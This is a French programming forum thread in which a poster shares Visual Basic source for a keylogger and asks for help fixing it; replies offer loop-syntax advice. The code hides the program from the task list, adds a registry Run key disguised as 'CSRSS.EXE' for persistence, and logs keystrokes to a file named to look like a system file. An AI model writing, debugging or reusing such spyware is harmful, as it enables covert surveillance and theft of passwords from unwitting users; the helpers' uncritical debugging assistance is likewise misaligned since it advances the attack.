pb avec mon code source

Question

voila jai une Option Explicit comme je fait un keylogger jai mis un code pour la base de registre pour quil demmare a chaque demmarage voila mon pb je vous passe ma source pouvais vous trouver tous se qui cloche

Option Explicit
Private Sub Form_Load()
Dim WshShell As String

Set WshShell = CreateObject("Wscript.Shell")

WshShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run
tdetect", "C:\Windows\CSRSS.EXE"
App.TaskVisible = False

Do While 1 = 1 'change if u want to be able to turn off the timer
DoEvents
Grab = Grab & GetKey
'Grab.SelStart = Len(Grab)
Loop
End Sub

Private Sub Grab_Change()
Dim f As String
Open "C:
tdetect.sys" For Input As #1
f = Input(LOF(1), 1)
Close #1

Open "C:
tdetect.sys" For Output As #1
Print #1, f
Print #1, Grab.Text
Close #1
End Sub

voila merci davance

juvamine · Answer

on pourrai savoir si ca plante ? si oui...ou ? sinon c'est dificil de voir kelkechoz

++
juva

Retrouvez une équipe de développeurs confirmés sur le tchate:
serveur : bastia.zefunChat.net
port : 6667
chan : #programmation

cs_rene38 · Answer

Do While 1 = 1  <= boucle infinie

cs_DARKSIDIOUS · Answer

Mets plutôt cà :

Do
DoEvents
Grab = Grab & GetKey
'Grab.SelStart = Len(Grab)
Loop

C'est plus clair à comprendre, et je ne pense pas que ca pose de problème !

DarK Sidious

[Responsable API/VB du site www.ProgOtoP.com]
Téléchargez ProgOtoP API Viewer

Pb avec mon code source

3 réponses

Discussions similaires